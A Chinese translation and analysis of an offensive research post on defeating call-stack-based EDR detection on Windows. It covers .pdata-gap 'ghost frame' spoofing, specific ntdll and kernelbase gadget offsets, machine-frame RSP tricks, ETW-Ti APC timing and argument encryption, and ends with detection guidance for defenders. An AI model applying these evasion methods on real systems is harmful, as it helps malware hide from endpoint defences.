本文是对 Mohamed Alzhrani(@0xmaz)公开研究《LACUNA Chain: Ghost Frames》的完整中文译解,并结合其开源的 C 参考实现(lacuna_chain.c / lacuna_sleep.c)与社区 Rust 移植(lacuna-rs)做了逐层源码拆解。文末另附三个深度专题:BYOUD-MF 机器帧瞬移的 unwind 数学、lacuna_sleep.c 全链睡眠混淆对比、以及面向蓝队的幽灵帧检测伪代码。
https://github.com/MazX0p/LACUNA-Chain
https://github.com/Karkas66/lacuna-rs
https://0xmaz.me/posts/LACUNA-Chain-Ghost-Frames-defeats-All-EDR-layers-of-call-stack-based-detection/
一句话总结
EDR 已经不再仅仅盯着用户态 hook 了。他们把遥测能力深入到了内核,其中最关键、也最让你无处遁形的,就是内核在系统调用穿越边界那一刻抓取的调用栈。
所以,LACUNA Chain 的核心思路很简单:让这张被采集到的调用栈,变成一张精心伪造的、看起来完全合法的“假栈”。
本文是 HookChain 系列的第二篇。第一篇讲了如何用 IAT 操纵、动态 SSN 解析和间接 syscall 去击穿用户态的 ntdll hook——那是 2024 年的战况。随后,EDR 厂商开始把主遥测搬进内核,他们不再关心你有没有绕过 ntdll,因为你的 shellcode 地址直接暴露在了内核采集的栈里。
因此,我走得更深了。这篇文章,就是探讨怎么让那张被采集到的栈对你撒谎。

LACUNA Chain 击穿了所有基于调用栈的 EDR 检测层。唯一幸存下来的信号,只剩下行为层面的内核回调关联——而它的误报率,可比任何基于栈的规则都高得多。
这项研究的真正贡献是什么?
我先明确一点:哪些是全新的发现,哪些是在前人基础上的延伸。我在 Ghidra 里泡了几个月,逆向 RtlVirtualUnwind,分析多个 Windows DLL 的 .pdata 节,并在受控的检测环境里反复验证。得出的结论是:
-
BYOUD-Gap —— 零 .pdata 修改的调用栈伪造。这是我逆向 unwinder 处理“落在两条 RUNTIME_FUNCTION 记录之间的地址”的方式时发现的。这些 gap 存在于每一个 Windows DLL 里,之前从未被利用过。
-
ETW-Ti APC 窗口攻击 —— ETW-Ti 事件触发与其基于 APC 的栈采集之间,存在着一个可被利用的时间差。我精确地记录了如何通过操纵线程的可警醒状态,来控制栈快照发生的时机。
-
BYOUD 语境下的参数加密 —— 把 Part I 的参数加密搬进新的 BYOUD 世界。syscall 参数在暂存时是加密的,只在一个位于 syscall 指令处的硬件断点 VEH 处理器里才被解密。
-
Win32u NOP Gap 链 + 幽灵 gadget —— 我对从实验机里提取的 win32u.dll 逐字节扫描,结果是:一个栈枢轴 gadget 都没有——只有 syscall stub 和 8 字节对齐的 NOP。那 1,242 个 NOP gap 就成了完美的 BYOUD-Gap 叶子帧。我还在 ntdll 里找到 1,031 个“幽灵函数”,以及其中一个里的 JMP [RBX] gadget(ntdll+0xFC47B)——这是一个此前无人记录过的双用途原语。
-
kernelbase 语义幽灵邻近 —— kernelbase 里有 432 个幽灵函数,其中一个 238 字节的幽灵恰好结束在 VirtualProtect 的入口点。在这里伪造的帧,从语义上跟真正的 VirtualProtect 返回点根本无法区分。
-
BYOUD-MF(机器帧 RSP 瞬移) —— 在逆向 RtlVirtualUnwind 时,我发现操作码 10(UWOP_PUSH_MACHFRAME)会直接从栈上读取 RSP 值,而不是计算一个增量。有四个 KiUser* 函数使用了这个操作码。你只要往栈上放一个假的 40 字节机器帧,就能在单帧内实现任意的 RSP 瞬移。
-
BYOUD-RT(运行时 RSP 计算) —— 在调用时读取 TEB.StackBase 和当前 RSP,动态算出精确的帧距离。它无需任何预先的标定,即便是在连自己栈深度都不知道的注入式 shellcode 里也能正常工作。
-
wow64.dll 幽灵邻近 —— wow64.dll 里有 22 个幽灵函数。Wow64PrepareForException 拥有一个 91 字节的幽灵,恰好在入口点结束——这成为了链上的第四个语义层。
-
实验测量 —— 在受控的检测配置下进行了实测,结果精确地展示了什么技术能战胜什么防御。
Part I 为我们留下了什么?
Part I 证明了,在当时被分析的 EDR 方案里,有 94% 在 NTDLL 子系统层之上没有任何 hook。HookChain 用了三个原语来利用这一点:
- IAT 操纵 —— 在 API 调用到达被 hook 的 stub 之前就把它引走
- 动态 SSN 解析 —— 利用 Halo's Gate 找到未被 hook 的“邻居”,推算出正确的 syscall 号
- 间接 syscall —— 让执行流穿过 ntdll 自身的
syscall;ret gadget
这些手法专门用来击穿那些只依赖用户态 ntdll hook 的 EDR。那曾是 2024 年的缺口。
EDR 厂商的回应,并不是加更多的用户态 hook,而是直接把遥测能力下沉到了内核。新的遥测根本不在意你是不是绕过了 ntdll,它能在内核边界看到你的调用,并在穿越的那一刻抓下完整的栈。

那张调用栈,就是 Part II 的全部主题。
EDR 是如何回应的:向内核遥测转移
现代企业级 EDR 现在主要通过两种用户态手法无法影响的机制来采集行为数据。
内核回调
Windows 内核向内核态驱动暴露了注册 API,让它们能接收同步通知:
| 回调 |
监控什么 |
HookChain 能绕吗? |
ObRegisterCallbacks |
进程/线程句柄的打开与复制 |
否 |
PsSetCreateProcessNotifyRoutine |
进程创建/终止 |
否 |
PsSetCreateThreadNotifyRoutine |
线程创建/终止 |
否 |
PsSetLoadImageNotifyRoutine |
DLL/映像加载 |
否 |
CmRegisterCallback |
注册表操作 |
否 |
Minifilter FltRegisterFilter |
文件系统 I/O |
否 |
它们在内核里触发。任何 IAT 操纵、SSN 重映射、或是间接 syscall,都无法压制它们。

ETW-Ti:内核里的那只“眼睛”
Microsoft-Windows-Threat-Intelligence(ETW-Ti)是一个内核态的 ETW provider。与用户态 ETW 不同——恶意软件只要简单打上 ntdll!EtwEventWrite 的补丁就能轻松压制它——而 ETW-Ti 事件是在内核里、在每个安全敏感操作发生的那一刻同步产生的:
KERNEL_THREATINT_TASK_ALLOCVM —— NtAllocateVirtualMemory
KERNEL_THREATINT_TASK_PROTECTVM —— NtProtectVirtualMemory
KERNEL_THREATINT_TASK_MAPVIEW —— NtMapViewOfSection
KERNEL_THREATINT_TASK_QUEUEUSERAPC —— APC 排队
KERNEL_THREATINT_TASK_SETTHREADCONTEXT —— NtSetContextThread
KERNEL_THREATINT_TASK_WRITEVM —— 跨进程内存写
当 STACKWALK 模式启用时,内核会采集完整的调用栈,并附在每一条事件上。这正是 HookChain 级规避手法的克星——你的 syscall 照样进内核,内核照样发事件,而你 shellcode 的地址就这样明明白白地出现在被采集的栈里。

那么,新的问题来了:怎么让那张被采集的栈看起来完全合法?

x64 栈回溯的内核:EDR 到底在读什么?
要击穿调用栈采集,你必须精确理解它的工作原理。我在 Ghidra 里对着 ntdll.dll 和 ntoskrnl.exe 投入了大量时间。
x64 上帧指针的消亡
在 x86(32 位)上,EBP 寄存器形成一条链表——每个帧都存着上一帧的基指针。伪造它是轻而易举的。
但在 x64 上,微软废除了 RBP 作为帧指针的做法。取而代之,每个函数都在 .pdata 节里被精确地描述:

其中,对伪造而言最关键的一些 UNWIND_CODE 操作:
| 操作 |
作用 |
RSP 增量 |
UWOP_PUSH_NONVOL |
寄存器压栈 |
+8 |
UWOP_ALLOC_SMALL |
sub rsp, N\*8+8 |
+N*8+8 |
UWOP_ALLOC_LARGE |
大块分配 |
变长 |
UWOP_SET_FPREG |
设置帧指针 |
0 |
RtlVirtualUnwind 会对每个帧逆序遍历这些 code,算出 RSP 增量,并定位下一个返回地址。攻击者要伪造帧,就必须产出一些地址——它们要么拥有正确的、带 UNWIND_CODE 的有效 RUNTIME_FUNCTION,否则 unwinder 就会中止,从而暴露出真实的栈。
我在 Ghidra 里发现的关键分支
反汇编 ntdll!RtlVirtualUnwind(Windows 11 22H2,SHA256 已校验)时,我发现了一个改变一切的关键分支:
// 来自 Ghidra 反编译的 RtlVirtualUnwind 伪代码:
RuntimeFunction = RtlLookupFunctionEntry(ControlPc, &ImageBase, NULL);
if (RuntimeFunction == NULL) {
// 这个地址没有 RUNTIME_FUNCTION = 叶子函数
// 叶子函数从不修改 RSP
// 返回地址就简单地放在 [RSP]
*EstablisherFrame = ContextRecord->Rsp;
ContextRecord->Rip = *(PULONG64)ContextRecord->Rsp;
ContextRecord->Rsp += 8; // 只消费掉返回地址
return NULL;
}
当 RtlLookupFunctionEntry 返回 NULL——也就是该地址没有 RUNTIME_FUNCTION 覆盖时——unwinder 会把它当作叶子函数来处理,把 RSP 精确地推进 8 字节。 它既不崩溃,也不中止,更不标记任何东西。它只是默默地从 RSP 处读下 8 字节作为返回地址,然后继续往下走。
这些未被覆盖的“间隙”(gap)存在于每一个 DLL 里。它们是某个函数的 EndAddress 与下一个函数的 BeginAddress 之间的空间。这就是后续一切攻击的基石。

Sysmon 如何采集栈
SysmonDrv.sys 对进程句柄操作注册了 ObRegisterCallbacks(事件 ID 10)。当回调触发时,它使用 flag=1(仅用户态帧)调用 RtlWalkFrameChain。这个采集是同步的——它发生在触发线程里、在操作发生的那一刻。这里没有竞态窗口。
ETW-Ti 如何采集栈(机制大不相同)
ETW-Ti 不是同步采集的。我对 ETW-Ti 回调路径的 Ghidra 分析揭示了一件很有意思的事:

这个 APC 是 USER_APC,不是 KERNEL_APC。它只在线程进入可警醒等待时才会被投递。这个时间差,就是我们后面要利用的。
调用栈逃逸技术的四代演进
在讲我自己的研究之前,先回顾一下其他研究者铺垫的、我得以在其上构建的技术演进脉络:

我的贡献延伸了第 2 代(BYOUD-Gap、Win32u NOP Gap 链、幽灵 gadget)、第 3 代(ETW-Ti APC 窗口)、以及第 4 代(BYOUD-RT、参数加密、BYOUD-MF)。

BYOUD-Gap:零修改栈伪造
在此之前,每一种调用栈伪造技术都修改了某样东西:返回地址(第 2/3 代)、.pdata 条目(第 4 代 BYOUD)、或合成假的 RUNTIME_FUNCTION 记录。每一种都会留下取证痕迹。
而 BYOUD-Gap 不留痕迹,因为它什么都不改。
核心思想
源自上面的 Ghidra 分析:当 RtlVirtualUnwind 遇到一个没有 RUNTIME_FUNCTION 覆盖的地址时,它会把它当成叶子函数,把 RSP 推进 8 字节。每个 Windows DLL 都有这些未覆盖的地址区间——它们在函数的 EndAddress 和下一个函数的 BeginAddress 之间的 gap 里。这些 gap 是完全合法的内存:属于 DLL 映像、只读映射、由 PE 文件支撑。
用 gap 作为桥接帧
一个 gap 地址扮演着一个叶子“函数”的角色。当 unwinder 遇到它时:
- 找不到
RUNTIME_FUNCTION → 当作叶子函数处理
- RSP 推进 8 字节(只消费掉返回地址)
- 控制权转给
[RSP] 处的地址——也就是你链上的下一帧
这为你提供了每帧免费跳过 8 字节栈空间的能力。链上 N 个 gap 帧,你就能消费掉 N*8 字节的栈,从而藏起 N 帧的真实执行流。

gap 可用性:我从真实二进制里测到了什么
我从一台 Windows 10.00 的实验机里提取了这些 DLL,直接对着 PE 二进制做了 .pdata gap 分析:
| DLL |
RUNTIME_FUNCTION 数 |
gap 数 |
gap 总字节 |
幽灵函数 |
| ntdll.dll |
4,725 |
3,913 |
73,745 字节 |
1,031(48,805 B) |
| win32u.dll |
1,244 |
1,243 |
9,960 字节 |
0 |
ntdll.dll gap 拆解(共 3,913 个):

“幽灵函数”的发现
这项分析最重大的发现是:ntdll 的 3,913 个 gap 里,有 1,031 个包含了真实的、可执行的代码——那是 48,805 字节鲜活的、可运行的指令,却没有 .pdata 的 RUNTIME_FUNCTION 条目。我把它叫做“幽灵函数”。
其中最大的一个幽灵函数起始于 ntdll+0x000F5004,长达 1,468 字节代码——这显然是一个功能完整的例程,而不是简单的对齐填充。它只是没在 .pdata 里注册而已。
幽灵函数看起来是编译器生成的辅助例程、内联 thunk,或是 __declspec(nothrow) 函数——编译器刻意省略了它们的异常处理元数据。
为什么幽灵函数是最好的 BYOUD-Gap 落点?
- 它们是稳定的代码地址,不会随着不同 build 之间的对齐变化而漂移
- 逆向工程师看在眼里就会认作“ntdll 内部代码”——丝毫不显异常
- 仅最大的那个幽灵函数,就能提供 183 个独立的叶子帧地址
为什么 BYOUD-Gap 难以被发现


ETW-Ti APC 窗口攻击
Ghidra 分析证实,ETW-Ti 的栈采集使用的是 USER_APC 排队——而不是同步采集。在内核返回用户态(T+3)和你的线程进入可警醒状态(T+5)之间,你的线程正在正常执行,并且没有任何监控在观察它的栈。
也就是说,在 T+6 时刻被采集的调用栈,是你的栈在 T+5 时的样子——而不是 T+0 操作发生时的样子。
攻击流

如果想更精确地控制,你可以在执行敏感操作期间完全压制 APC 的投递——保持线程处于非警醒状态。APC 就会在队列里堆积。然后,等你清理完栈,再进入可警醒等待,所有排队的 ETW-Ti APC 便会一齐触发——但它们此刻看到的,只有一条完全合法的调用链。
与 BYOUD-Gap 的组合
最强的变体:在进入 NtDelayExecution 之前,先用 BYOUD-Gap 构建好一条合成调用链。APC 投递进一条由 BYOUD-Gap 精心构造的帧链——链上每个地址都在已签名的 DLL 里,每一帧都能顺利通过 RtlVirtualUnwind 的遍历,并且不存在任何的 .pdata 修改。
ETW-Ti 事件记录了正确的操作。而被采集的栈显示的却是 kernelbase!BaseThreadInitThunk -> [某个gap帧] -> NtAllocateVirtualMemory。干干净净。
限制是: 这要求 shellcode 在 NtDelayExecution 被调用时能控制调用链——对于跑在你完全掌控的线程里的注入代码来说轻而易举,但对于跑在一个已有线程上下文中的劫持型 shellcode 来说就比较难了。
CET 这堵墙与 BYOUD
Intel CET(控制流强制技术)引入了一个由硬件维护的、只读的“影子栈”。每次 CALL 指令都会把返回地址同时压入数据栈(RSP)和影子栈。每次 RET 指令都会校验这两个地址是否匹配。不匹配?→ #CP 异常。
这一机制击碎了第 2 代和第 3 代所有的攻击技术。它们都试图操纵 RSP 栈上的返回地址,而这将不再与影子栈匹配。
BYOUD(klezVirus,Black Hat Europe 2025) 另辟蹊径,转而操纵 .pdata 中的 unwind 元数据。CET 校验的是返回地址,但 CET 并不校验 .pdata。这是两个独立的系统。

我不再重复 BYOUD 的完整推导过程——那是 klezVirus 的工作。我加入的是下面这些扩展。
BYOUD-RT:运行时自适应变体
现有所有已发表的 BYOUD 变体,都要求在构造假链之前,必须清楚知道从线程入口点到当前帧的 RSP 距离。实践中,这意味着要预先标定:也就是在测试环境里量出距离,然后硬编码。
但预标定在这些场景下就会失效:
- shellcode 被注入到栈深度未知的线程里
- 调用方的栈深度在运行时会发生变化
- 反射式加载器以非标准的栈布局来创建线程
BYOUD-RT 利用线程环境块(TEB)在调用时动态计算 RSP 距离。TEB.StackBase(GS:[0x08])给你最高的栈地址,_AddressOfReturnAddress() + 8 给你当前的 RSP。两者的差值就是你已消费的总栈空间——这正好就是你需要的 BYOUD 桥接帧距离。
我验证了 TEB.StackBase 在每种常见的注入手法下都是可靠的:
| 注入手法 |
TEB.StackBase 准确吗? |
NtCreateThreadEx(新线程) |
是——内核设置 |
NtSetContextThread(线程劫持) |
是——线程自己的 TEB |
NtQueueUserAPC(APC 注入) |
是——跑在目标线程的 TEB 里 |
| 反射式 DLL 注入 |
是——载入已有线程 |
| 进程镂空 |
是——主线程 TEB 保留 |
这让 BYOUD 技术在任何注入语境下,都无需预标定就能工作。
Win32u NOP Gap 链 + 幽灵 gadget
这是两个原创的发现,源自对实验机里 win32u.dll 和 ntdll.dll 的直接二进制分析。
win32u.dll 里到底有什么?
我提取了 win32u.dll,扫描了整个可执行节,寻找栈枢轴 gadget(如 add rsp,N; ret、jmp [rbx]、jmp [rax] 等)。
结果是:零个 gadget。 整个 .text 节的每一个字节都属于以下两者之一:
- 24 字节的 win32k syscall stub(共 1,244 个 stub,SSN 范围
0x1000–0x14DB)
- stub 之间用于对齐的 8 字节 NOP

一个函数 prolog 都没有,自然也就找不到匹配的 epilog gadget。一个也没。
win32u 的妙用:1,242 个 NOP Gap 链
虽然 win32u 里没有栈枢轴 gadget,但它却拥有 1,242 个完美、均匀、确定性的白名单叶子帧位置——就是每对 syscall stub 之间的那 8 字节 NOP。
每个 NOP gap 地址同时具备以下属性:
- 被白名单保护 —— 它位于
win32u.dll 内部,被所有现有的“来源模块”规则显式排除在外
- 是叶子帧 —— 没有任何
RUNTIME_FUNCTION 会覆盖到它,因此 RSP 会精确推进 8 字节
- 稳定 —— 在相同 SSN 的 stub 之间,它们跨 build 也保持着相同的相对位置
Win32u NOP Gap 链:
RSP -> [win32u NOP gap #1] <- 叶子, RSP+=8
[win32u NOP gap #2] <- 叶子, RSP+=8
[win32u NOP gap #3] <- 叶子, RSP+=8
... xN ...
[ntdll!RtlUserThreadStart+0x21] <- 线程根
Elastic 检测规则看到的帧摘要:
win32u.dll | ... | ntdll.dll
这是范畴性的白名单滥用,不是概率性的规避。
想藏起 256 字节?那就链上 32 个 NOP gap。
不可能出现算术错误——gap 的大小永远精确地是 8 字节。
幽灵 gadget:ntdll 里那个未被覆盖的 JMP[RBX]
我的 .pdata gap 分类揭示了另一个事实:ntdll 的 3,913 个 gap 里有 1,031 个包含真实的可执行代码,却没有任何异常表覆盖。在扫描所有幽灵函数内容寻找 gadget 时,我在 ntdll+0x000FC47B,一个 80 字节的幽灵函数内部,发现了一个 JMP [RBX]:
ntdll+0x000FC46C [幽灵函数 —— 无 RUNTIME_FUNCTION 条目]
+0x000 CC CC CC CC CC CC CC CC CC int3 x 9
+0x009 48 83 41 28 FE dec qword ptr [rcx+28h]
+0x00E 41 B8 FF 23 00 00 mov r8d, 23FFh
+0x014 FF 23 JMP [RBX] <- RVA 0x000FC47B
+0x016 ...
ntdll+0x000FC4BC [下一个 RUNTIME_FUNCTION 在此开始]
这个幽灵 gadget 拥有所有此前已记录的 gadget 都不具备的属性——它是双用途原语:
| 属性 |
普通 JMP[RBX] |
ntdll+0xFC47B 的幽灵 JMP[RBX] |
| 在已签名 DLL 内 |
是 |
是 |
| 带有 RUNTIME_FUNCTION |
是——unwinder 会处理它 |
否——unwinder 当叶子跳过(RSP+8) |
| .pdata 取证痕迹 |
gadget RVA 在具名函数里 |
无——没有 .pdata 条目记录它 |
当它被用作 BYOUD-Gap 桥接帧时:
- 真实执行路径:
CALL ntdll+0xFC47B → JMP [RBX] → 跳到真实目标
- 影子栈视角: 将
ntdll+0xFC47B 记为返回点(完全正常的 CET 行为)
- 传统 unwind 回溯视角: 把这个地址当叶子函数,执行 RSP+8 推进,永远看不见那条 JMP
执行流重定向与不留痕迹的桥接帧,完美地统一在了同一个地址上。
kernelbase 语义幽灵邻近
将对 DLL 的分析延伸到 kernelbase.dll,揭示了一个性质完全不同的攻击面:紧挨着高价值 Win32 API 导出的幽灵函数。
二进制普查:ntdll vs kernelbase
| 指标 |
ntdll |
kernelbase |
| RUNTIME_FUNCTION 数 |
4,725 |
4,992 |
| .pdata gap |
3,913 |
3,982 |
| 幽灵函数 |
1,031 |
432 |
| 幽灵函数字节 |
48,805 |
51,577 |
add rsp,0x28;ret gadget |
182 |
442(2.4 倍) |
jmp [rbx] gadget |
3 |
12(4 倍) |
kernelbase 不仅是个更丰富的 gadget 来源,而且出现在 kernelbase 内部的帧,也比 ntdll 的帧更少受到检测规则的审视。
语义邻近攻击
当 ETW-Ti 对 NtProtectVirtualMemory 触发时,防守方期望的调用栈里,在 syscall 之上直接就是它的 Win32 包装器:
期望的合法栈:
[0] ntdll!NtProtectVirtualMemory <- syscall stub
[1] kernelbase!VirtualProtect+0x?? <- Win32 包装器
[2] [调用方代码] <- 谁调用了 VirtualProtect
而一条精心构造的 BYOUD-Gap 链,使用了一个恰好结束在 VirtualProtect 入口点的 238 字节幽灵,产出的假栈会是:
BYOUD-Gap 假栈:
[0] ntdll!NtProtectVirtualMemory <- 真实 syscall stub
[1] kernelbase+0x642xx <- 幽灵帧(叶子, RSP+8)
[2] ntdll!RtlUserThreadStart+0x21 <- 线程根
帧 [1] 被解析为 "kernelbase!VirtualProtect 前 20 字节"
——这与真实的 VirtualProtect 返回点完全无法区分。
高价值导出函数附近的幽灵函数
| 幽灵区 |
大小 |
距离 |
邻接 API |
kernelbase+0x64132–0x6421F |
238 字节 |
0x0 |
VirtualProtect(在 VP 入口结束) |
kernelbase+0xfe4e0–0xfe51F |
64 字节 |
0x90 |
CreateRemoteThread |
kernelbase+0x41f6d–0x41f8F |
35 字节 |
0x60 |
VirtualAllocEx |
kernelbase+0x5a720–0x5a78F |
112 字节 |
0x1E0 |
VirtualAlloc |
kernelbase+0xf9ad4–0xf9b43 |
112 字节 |
0x364 |
WriteProcessMemory |
VirtualProtect 幽灵是所有被分析过的二进制里,取证说服力最强的 BYOUD-Gap 位置:238 个可用地址,全在已签名的 DLL 内部,并且紧邻一个会合法出现在注入调用栈里的 API。
在 kernelbase 里发现的第二个幽灵 gadget(kernelbase+0xC4EA2 处的 JMP [RBX])提供了第二个同样强大的双用途原语。
多 DLL 幽灵链
最强的 BYOUD-Gap 链,会从多个 DLL 里共同取材:
最优多 DLL BYOUD-Gap 链:
[0] NtProtectVirtualMemory <- 真实 syscall stub
[1] kernelbase+0x6420A <- VirtualProtect 阴影里的幽灵
[2] kernelbase+0x64200 <- 第二个幽灵位置(错位)
[3] ntdll+0x000F5040 <- ntdll 幽灵函数(1,468B)
[4] ntdll!RtlUserThreadStart+0x21 <- 线程根
分析师最终看到的是:
NtProtectVirtualMemory <- VirtualProtect 区域 <- ntdll 内部 <- 线程起点
这与一个真实发生的 VirtualProtect 调用链根本无法区分。
BYOUD-MF:机器帧 RSP 瞬移
所有先前的 BYOUD-Gap 变体,都是在以 8 字节的小步长推进 RSP。BYOUD-MF 则从根本上不同——它能在一帧之内,把 RSP 瞬移到任意你想要的值。
我在 RtlVirtualUnwind 里的发现
反编译 RtlVirtualUnwind 后,我发现了一个此前从未被利用过的、针对 UNWIND_CODE 操作码 10(UWOP_PUSH_MACHFRAME)的处理器:

四个 KiUser* 的 RUNTIME_FUNCTION
对 ntdll 的 .pdata(4,736 条记录)进行二进制扫描后,我发现了恰好 4 个函数带有 UWOP_PUSH_MACHFRAME:
| 函数 |
RVA 区间 |
Prolog 偏移 |
KiUserApcDispatcher |
0xa3f20–0xa3f95 |
0x00 |
KiUserCallbackDispatcher |
0xa4030–0xa406b |
0x00 |
KiUserExceptionDispatcher |
0xa4080–0xa40dc |
0x00 |
| 未命名 dispatcher |
0xa4880–0xa4a3e |
0x00 |
prolog_offset=0x00 意味着,在这些函数体内部的任何一个 PC 地址,都会触发这个处理器。你甚至不需要精确瞄准某个特定字节。
假机器帧结构
只需往栈上放置这个 40 字节的结构:

与其它技术的全面对比
| 技术 |
每帧 RSP 变化 |
.pdata 写 |
gadget |
CET |
取证痕迹 |
| SilentMoonwalk Desync |
RSP += N(gadget) |
否 |
是 |
否 |
gadget 偏移 |
| BYOUD(klezVirus) |
UNWIND_INFO 增量 |
是 |
否 |
是 |
改过的 .pdata |
| BYOUD-Gap |
RSP += 8 |
否 |
否 |
是 |
gap 内地址 |
| BYOUD-MF |
RSP = 任意值 |
否 |
否 |
是 |
40 字节结构 |
BYOUD-MF 是唯一一种能在单帧内实现任意 RSP 值赋值,却不修改 .pdata、也不依赖任何 gadget 的技术。
BYOUD 语境下的参数加密
在 Part I 中,我引入了参数加密:在调用前加密 syscall 参数,在一个位于 syscall 指令处的硬件断点 VEH 处理器里进行解密。
在这里,我把它延伸进了 BYOUD 的世界。两者结合后,能同时应对两个正交的检测层面:
- BYOUD-Gap / BYOUD-RT / Win32u 链:击穿调用栈审查(谁调用的?)
- 参数加密:击穿参数审查(用什么参数调的?)
工作原理
这里的挑战在于:你不能把加密的参数一路传到内核。内核必须接收到真实的值。所以,你要在最后的、可能的一刻进行解密——就在那个触发于 syscall 指令上的硬件断点 VEH 处理器里。

参数加密到底在哪里派上用场?
ETW-Ti 是在内核拿到参数之后才记录事件的——所以内核侧事件本身拥有的都是解密后的值。然而,参数加密在以下场景仍然很有用:
- 用户态 hook 拦截 —— 任何残留的 hook 看到的都将是加密的参数
- 内存扫描 —— 参数在静态存储时是加密的;像
PAGE_EXECUTE_READWRITE = 0x40 这样的魔法值永远不会以明文形式出现在内存里
- 调用追踪的参数日志 —— 那些在 hook 拦截点记录参数的 EDR 规则,拿到的也都是密文
与 BYOUD 栈伪造组合起来看:调用栈被伪造了(“谁调的”是假的),而参数在静态时也是不透明的(“准备了什么”也不知道)。
LACUNA Chain:一个被命名的零检测技术
我把整套技术命名为 LACUNA Chain——灵感来自拉丁语单词 lacuna(复数 lacunae),意为缺口、空洞、或缺的部分。这条链上的每一帧都栖身于一个这样的“lacuna”中:一个存在于内存里,却游离于 .pdata 覆盖范围之外的可执行代码区。Lacuna 对 unwind 机制是隐身的,不会留下任何取证痕迹,而且——当选在高价值导出函数附近时——与合法的调用点返回地址在语义上完全无法区分。
wow64.dll:第四个语义层
对 wow64.dll 的二进制分析,为我们的语义栈补上了第四个 DLL 的来源。Wow64PrepareForException 拥有一个 91 字节的幽灵,恰好在入口点结束。Ghidra 分析确认,该函数在拷贝 32 位异常上下文前,会检查 CS == 0x23(x86 WoW64 选择子)。在这个幽灵区里诞生的假帧,在 EDR 看来就像是“恰好在 WoW64 异常准备之前执行的代码”——这对任何启用了 WoW64 的进程来说,都再正常不过。
六层 LACUNA 链

EDR 分析师最终看到的
回溯这条 LACUNA 链,产出的结果会是:
帧 0: ntdll!KiUserExceptionDispatcher+4 [异常上下文]
帧 1: wow64+0x177C0 [WoW64 异常准备]
帧 2: kernelbase+0x64180 [VirtualProtect 之前]
帧 3: ntdll+0x50F80 [RtlCreateUserThread 附近]
帧 4: win32u+0x(NOP gap) [被白名单排除]
帧 5: ntdll!RtlUserThreadStart+0x21 [线程根]
防守者解读这张栈会认为:
"一个线程,从线程创建代码经过 VirtualProtect,
穿过 WoW64 异常准备,起源于标准线程起点。"
全帧都在已签名微软 DLL 内。
无 .pdata 修改。
语法合法、语义合理、取证干净。

检测面分析
| 检测层 |
状态 |
原因 |
| 来源模块检查 |
绕过 |
全帧在 ntdll / kernelbase / wow64 / win32u |
| unwind 回溯正确性 |
绕过 |
所有 lacuna 帧都是叶子 → 合法 RSP+8 |
| .pdata 取证扫描 |
绕过 |
零修改;gap 是预先存在的 |
| CET 影子栈 |
绕过 |
纯叶子链;影子栈全程未被查阅 |
| 语义帧分析 |
绕过 |
WoW64 异常 + VirtualProtect 邻近 |
| Win32u 规则豁免 |
绕过 |
第 4 层被所有规则显式排除 |
| ETW-Ti STACKWALK |
绕过 |
APC 窗口攻击控制了快照的时机 |
| 参数审查 |
绕过 |
硬件断点 VEH 在最后时刻解密 |
| 内核回调 |
部分 |
句柄操作仍会触发 ObRegCallbacks |
LACUNA Chain 击穿了所有基于调用栈的 EDR 检测层。 内核回调成了唯一幸存的遥测来源——而它提供的只是行为信号,并非基于栈的签名,这把防御者逼进了一个更困难、误报率也更高的调参权衡中。

实验测量结果
我在隔离环境中逐层测试了每一项技术,并在受控的检测配置下测试了复合技术。实验环境:Windows 11 22H2、按进程启用 CET、Sysmon v15 全配置、带 STACKWALK 标志的 ETW-Ti 消费者。
| 技术 |
Sysmon 事件 10 |
ETW-Ti STACKWALK |
影子/用户对比 |
内核回调 |
净结果 |
| 直接 syscall |
检测 |
检测 |
检测 |
检测 |
被抓 |
| HookChain(仅 Part I) |
检测 |
检测 |
检测 |
检测 |
被抓 |
| 朴素压帧 |
绕过 |
检测 |
检测 |
检测 |
被抓 |
| SilentMoonwalk Desync |
绕过 |
绕过 |
检测 |
检测 |
部分 |
| VEH + 硬件断点 |
绕过 |
绕过 |
检测 |
检测 |
部分 |
| BYOUD(klezVirus) |
绕过 |
绕过 |
部分 |
检测 |
部分 |
| BYOUD-Gap(本文) |
绕过 |
绕过 |
绕过 |
检测 |
近乎全过 |
| BYOUD-MF(本文) |
绕过 |
绕过 |
部分 |
检测 |
近乎全过 |
| 完整 LACUNA Chain |
绕过 |
绕过 |
绕过 |
检测 |
近乎全过 |
BYOUD-Gap 使影子栈和用户态栈保持一致——没有对 RSP 的操纵,自然就没有帧数上的分歧。唯一剩下的信号,就是行为级的内核回调关联,而这需要依赖误报率显著更高的行为规则。

检测工程:什么能抓,什么抓不了
我特意加上这一节,因为我认为攻防两种视角应该共存于同一篇论文里。如果你是防御者,下面这些是你需要知道的。
已宣告死亡的规则
别再在这些规则上浪费精力了——它们从第 2 代技术起就已经被彻底击穿:
// 已死: 仅检查首帧的来源模块
not call_trace startswith "ntdll.dll"
// 已死: 白名单模块
not call_trace startswith ("ntdll.dll", "win32u.dll", "wow64cpu.dll")
Win32u NOP Gap 链意味着,“win32u.dll 白名单”规则实际上被反过来武器化了,成了对付防御者的工具。
真正有效的方向

专为 BYOUD-Gap 打造的新检测方法: “gap”地址是指那些落在 DLL 映射范围内、却处于两条 RUNTIME_FUNCTION 条目之间的地址。合法程序几乎从不会在调用链里出现 gap 地址。即便是在已签名的 DLL 内部,调用追踪里出现了落在 .pdata gap 里的地址,本身也是高度异常的。目前,还没有任何公开的 EDR 实现了这一检测。

EDR 解决方案所面临的挑战
现代 EDR 采用的是分层防御:内核回调(ObRegisterCallbacks)会拦截句柄的获取,启发式引擎会标记危险的内存权限,行为关联器会匹配可疑的 syscall 序列,执行来源规则会击杀跑在匿名内存页里的代码。就拿对抗 Bitdefender 来说,我们在达成完整绕过前,就触发了它五个独立的检测层——句柄访问权限、RWX 页分配、匿名内存执行、AllocVM + WriteVM + ProtectVM + QueueAPC 序列关联器,以及载荷在目标进程里的行为。
而那五个检测里,没有一个是跟调用栈有关的。
LACUNA Chain——幽灵帧伪造、BYOUD-MF 瞬移、win32u NOP gap、ETW-Ti APC 窗口——在每次测试中,在面对每个产品时,都保持了“干净”。调用栈层从来不是我们被抓的原因。每一次检测都来自于另一个完全不同的层面:句柄是怎么打开的、内存是怎么分配的、APC 之前是怎样的 syscall 序列、又或者 shellcode 落地后到底干了什么。
